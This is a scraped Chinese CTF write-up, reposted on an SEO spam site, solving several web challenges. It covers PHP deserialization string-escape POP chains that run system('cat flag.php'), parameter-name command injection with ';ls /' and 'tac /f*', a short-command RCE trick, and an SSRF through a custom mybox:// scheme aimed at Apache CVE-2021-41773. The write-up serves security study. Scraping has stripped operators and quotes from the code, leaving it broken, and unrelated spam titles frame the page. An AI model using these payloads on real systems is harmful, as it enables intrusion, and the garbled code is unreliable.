当前位置: 首页 > news >正文

通栏网站做网站排名的公司

通栏网站,做网站排名的公司,什么网站发布任务有人做,装修素材的网站大全[UUCTF 2022 新生赛]ezpop 提示说看看反序列化字符串逃逸 PHP反序列化字符串逃逸_php反序列化逃逸-CSDN博客 php反序列化字符逃逸_php反序列化逃逸_Leekos的博客-CSDN博客 buuctf刷题9 (反序列化逃逸shtml-SSI远程命令执行idna与utf-8编码漏洞)_extract($_post);…[UUCTF 2022 新生赛]ezpop 提示说看看反序列化字符串逃逸 PHP反序列化字符串逃逸_php反序列化逃逸-CSDN博客 php反序列化字符逃逸_php反序列化逃逸_Leekos的博客-CSDN博客 buuctf刷题9 (反序列化逃逸shtml-SSI远程命令执行idna与utf-8编码漏洞)_extract($_post); foreach($_post as $var){ if(preg__葫芦娃42的博客-CSDN博客  ?php //flag in flag.php error_reporting(0); class UUCTF{     public $name,$key,$basedata,$ob;     function __construct($str){         $this-name$str;     }     function __wakeup(){     if($this-keyUUCTF){             $this-obunserialize(base64_decode($this-basedata));         }         else{             die(oh!you should learn PHP unserialize String escape!);         }     } } class output{     public $a;     function __toString(){         $this-a-rce();     } } class nothing{     public $a;     public $b;     public $t;     function __wakeup(){         $this-a;     }     function __destruct(){         $this-b$this-t;         die($this-a);     } } class youwant{     public $cmd;     function rce(){         eval($this-cmd);     } } $pdata$_POST[data]; if(isset($pdata)) {     $dataserialize(new UUCTF($pdata));     $data_replacestr_replace(hacker,loveuu!,$data);     unserialize($data_replace); }else{     highlight_file(__FILE__); } ? 2022UUCTF-web_[uuctf 2022 新生赛]phonecode-CSDN博客 data参数可控然后post会传入data之后$data会new一个UUCTF类的实例对象替换掉hacker为loveuu!,再进行反序列化 先正常传入datajack则$data应该为 O:5:UUCTF:4:{s:4:name;s:4:jack;s:3:key;N;s:8:basedata;N;s:2:ob;N;} 其中标红的是我们可控的参数 开始代码审计在youwant类我们可以通过rce方法实现命令执行以此读flag 现在找链子 UUCTF:: nothing::__destruct() - output::__toString() - youwant::rce 流程即我们通过传入的data参数构造把后面的逃逸掉构造新的序列化串 O:5:UUCTF:4:{s:4:name;s:4:构造的;s:3:key;N;s:8:basedata;N;s:2:ob;N;} ?php error_reporting(0); class output{     public $a; } class nothing{     public $a;     public $b;     public $t; } class youwant{     public $cmdsystem(cat flag.php);; } $Anew nothing(); $A-a$A-b; $A-tnew output(); $A-t-anew youwant(); $basedatabase64_encode(serialize($A)); 传入data数据用data数据初始化一个UUCTF类然后将hacker替换成loveuu后进行反序列化可以看到youwant类可以进行命令执行所以整条Pop链youwant_rce()-ouput_toString()-nothing_destruct()-UUCTF_wakeup()入口为UUCTF的__wakeup函数要将basedata的数据替换成Pop链的base64编码才能触发Pop链现在可以控制的只有构造函数即name的数据。 正常的传入data序列化后为O:5:“UUCTF”:4:{s:4:“name”;s:5:“aiwin”;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}     现在也就是说要把 ;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}给顶出去首先构造Pop链。 ?php error_reporting(0); class output{     public $a; } class nothing{     public $a;     public $b;     public $t; } class youwant{     public $cmdsystem(cat flag.php);; } $Anew nothing(); $A-a$A-b; $A-tnew output(); $A-t-anew youwant(); $basedatabase64_encode(serialize($A)); 构造出了basedata整条序列化后为O:5:“UUCTF”:4:{s:4:“name”;s:5:“UUCTF” ;s:3:“key”;s:5:“UUCTF”;s:8:“basedata”;s:176:“Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:“ob”;N;};s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;} “;s:8:“basedata”;s:176:“Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:“ob”;N;}一共236个字符每有一个hacker替换就会多吃一个字符所以236个hacker刚好吃完”;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}读取不到完成了逃逸。 完整payload ?php error_reporting(0); class output{     public $a; } class nothing{     public $a;     public $b;     public $t; } class youwant{     public $cmdsystem(cat flag.php);; } $Anew nothing(); $A-a$A-b; $A-tnew output(); $A-t-anew youwant(); $basedatabase64_encode(serialize($A)); echo strlen($basedata); $str ;s:3:key;s:5:UUCTF;s:8:basedata;s:.strlen($basedata).:.$basedata.;s:2:ob;N;}; echo $str.\n; $hacker; for($i0;$istrlen($str);$i) {     $hacker.hacker; } $payload $hacker.$str; echo $payload; #O:5:UUCTF:4:{s:4:name;s:5:aiwin;s:3:key;N;s:8:basedata;N;s:2:ob;N;} ? ?php class output{     public $a;     function __construct(){         $this-anew youwant();     } } class nothing{     public $a;     public $b;     public $t;     function __construct(){         $this-a$this-b;         $this-bxx;         $this-tnew output();     } } class youwant{     public $cmd;     function __construct()     {         $this-cmdsystem(cat flag.php);;     } } $basedata (base64_encode(serialize(new nothing()))); $str ;s:3:key;s:5:UUCTF;s:8:basedata;s:.strlen($basedata).:.$basedata.;s:2:ob;N;}; echo $str.\n; $hacker; for($i0;$istrlen($str);$i) {     $hacker.hacker; } $payload $hacker.$str; echo $payload; ? 看源码得到flag [NSSRound#13 Basic]ez_factors 首页给了一个超链接 发现把114514分解了质因数 提示了flag在根目录我们尝试直接读取  发现被过滤了 发现斜杠应该是被过滤了不然应该跟空格一样  发现只能读出来数字那么可以使用od命令把它转换成八进制 Linux 命令2—— od 命令_od命令-CSDN博客 od %2fflag 脚本 dump 0000000 051516 041523 043124 063173 031061 060546 032144 026463 0000020 032067 061060 032055 031062 026462 061070 033545 062455 0000040 033063 031466 062067 030144 060545 076470 000012 0000055 octs [(0o n) for n in dump.split( ) if n] hexs [int(n, 8) for n in octs] result for n in hexs:if (len(hex(n)) 4):swapped hex(((n 8) | (n 8)) 0xFFFF)result swapped[2:].zfill(4) print(bytes.fromhex(result).decode())当然也可以转10进制去解码 [SWPUCTF 2023 秋季新生赛]Pingpingping 注意这里涉及到一个非法传参的问题在PHP官方文档中有解释当变量名中出现点和空格时将被转换为下划线。及 Ping_ip.exe 在被解析的时候就会变成 Ping_ip_exe  参考资料 谈一谈PHP中关于非法参数名传参问题_php 非法传参名-CSDN博客 所以payload ?Ping[ip.exe127.0.0.1;ls /  ?Ping[ip.exe127.0.0.1;tac /f* [UUCTF 2022 新生赛]ezrce  限制了输入的字符最多为六个并且无回显常规思路就是将命令执行结果写入文件这一题比较坑的就是你命令执行成功了给你回显命令执行失败。并且写入的文件在tmp目录下。我们输入命令 ls /a 发现flag文件 但是后边用这种方法就行不通了因为他限制了长度 后面我利用大佬的方法来做成功得到flag第一次见这种 nl 执行后会创建名为 nl 的文件 * /*d 意思就是 nl /*f  第一个*就是将ls列出文件名第一个当作命令 其他当作参数 即 nl /*d [NSSCTF 2nd]MyBox 进去是一片空白 利用file协议读取一下 非预期得到flag之前写过这个/proc的用法 linux - 将/proc/1/environ 转换为变量脚本 环境: 旧版本的 systemd 在容器中运行 预期解法 NSSCTF 2nd WEB-CSDN博客 读取?urlfile:///start.sh 看到源码路径读取源码 from flask import Flask, request, redirect import requests, socket, struct from urllib import parse app Flask(__name__) app.route(/) def index(): if not request.args.get(url): return redirect(/?urldosth) url request.args.get(url) if url.startswith(file://): with open(url[7:], r) as f: return f.read() elif url.startswith(http://localhost/): return requests.get(url).text elif url.startswith(mybox://127.0.0.1:): port, content url[18:].split(/_, maxsplit1) s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((127.0.0.1, int(port))) s.send(parse.unquote(content).encode()) res b while 1: data s.recv(1024) if data:res data else:break return res return app.run(0.0.0.0, 827) 这是一个使用 Flask 框架编写的简单服务器应用。它的功能包括根据传入的 URL 参数进行不同的操作。 如果 URL 参数中没有指定 ‘url’则重定向到 ‘/?urldosth’。     如果 URL 以 ‘file://’ 开头则根据文件路径读取文件内容并返回。     如果 URL 以 ‘http://localhost/’ 开头则使用 requests 库发送 GET 请求并返回响应的文本内容。     如果 URL 以 ‘mybox://127.0.0.1:’ 开头则将剩余部分分割为端口和内容使用 socket 连接到本地主机127.0.0.1的指定端口并发送解码后的内容然后接收并返回响应的内容。 发现一个很明显的SSRF利用点本来得用gopher://协议打但是这里魔改过 得把字符串gopher://换成mybox://。 elif url.startswith(mybox://127.0.0.1:):port, content url[18:].split(/_, maxsplit1)s socket.socket(socket.AF_INET, socket.SOCK_STREAM) 先用gopher://协议发个请求包看看请求一下不存在的PHP文件搜集一下信息  gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A 把gopher换成mybox mybox://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A 在进行一次url编码 mybox%3A%2F%2F127.0.0.1%3A80%2F_GET%2520%2Fxxx.php%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A 抓包一直发包到404为止 可以看见这里Apache的版本是2.4.49这个版本的Apache有一个路径穿越和RCE漏洞CVE-2021-41773 我们用gopher://协议打CVE-2021-41773POST发包执行命令反弹shell。  参考资料看其中的week5[Unsafe Apache] NewStarCTF 2022 web方向题解 wp_Jay 17的博客-CSDN博客  这里用的是大佬的图一直反弹不上去 反弹shell得到flag
http://www.zqtcl.cn/news/499742/

相关文章:

  • 加强网站建设的制度wordpress如何清空
  • 轻松筹 的网站价格做网站建设意识形态
  • 有.net源码如何做网站湖南宣传片制作公司
  • dede网站模板怎么安装教程青岛需要做网站的公司
  • 静态双语企业网站后台源码北京网站关键词优化
  • 石家庄手机网站建设公司wordpress侧边栏显示子分类文字数
  • 公司网站客户案例个人做 网站2019
  • 个人网站怎么申请销售策划
  • 网站被黑 禁止js跳转企业为什么要建立集团
  • 建设网站的各种问题上海品牌女装排行榜前十名
  • seo优化搜索引擎网站优化推广网络关键词优化-乐之家网络科技商城网站备案能通过吗
  • 江门网站建设推广策划网站改版的宣传词
  • 网站建设三大部分国外购物平台网页界面设计
  • 公司商城网站建设方案wordpress旗舰
  • 京东云服务器怎么做网站企业宣传网站怎么做
  • 如何自学网站建设云南网爱我国防知识竞赛
  • 什么网站可以做投资设计接单
  • 网站内容批量替换桐乡网站制作
  • 怎么免费做网站教程制作xml网站地图文件
  • 广西智能网站建设哪家好网红商城
  • 关于建设网站的情况说明书wordpress 在线检测
  • 帝国cms 网站迁移错版怎样做心理咨询网站
  • 烟台建网站wordpress重写规则
  • 上海网站建设怎么赚钱平顶山网站建设服务公司
  • 导航网站如何被百度收录广告设计在线设计
  • 雪域什么网站是做电影的苏州优化方式
  • 设计网站多少钱手机百度助手
  • 驾校网上约车网站开发不会做网站如何做seo
  • 企业做推广可以发哪些网站宜兴埠网站建设
  • 网站后台文章添加成功 不显示公司设计网站建设合同